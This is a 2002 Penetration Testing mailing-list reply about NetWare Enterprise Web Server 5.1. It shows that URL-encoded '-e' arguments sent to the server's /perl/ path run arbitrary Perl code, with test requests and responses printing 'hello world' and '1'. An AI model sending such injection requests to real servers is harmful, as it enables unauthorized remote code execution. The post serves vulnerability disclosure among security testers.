Penetration Testing mailing list archives

Re: Perl and NetWare-Enterprise-Web-Server/5.1


From: Angel Luis Urun~uela <alum () security gft com>
Date: Wed, 17 Jul 2002 12:12:47 +0200

On Tuesday 16 July 2002 22:30, Ryan Russell wrote:
On Tue, 16 Jul 2002, Gary O'leary-Steele wrote:
I've tried

http://address/perl/-e 'print "hello";'

http://address/perl/-e print "hello";

what happens if you try:

http://address/perl/-e%20%22print%201%22
or
http://address/perl/-e$20%27print%201%27

?

It worked for me with:

http://address/perl/-e%20print%20%22hello%20world%22;

HTTP/1.1 200 Document Follows
Date: Wed, 17 Jul 2002 10:03:34 GMT
Server: 
MIME-version: 1.0
Content-type: text/plain
hello world

http://address/perl/-e%20print%201;

HTTP/1.1 200 Document Follows
Date: Wed, 17 Jul 2002 10:04:23 GMT
Server: 
MIME-version: 1.0
Content-type: text/plain
1


Regards,

Angel

----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/


Current thread: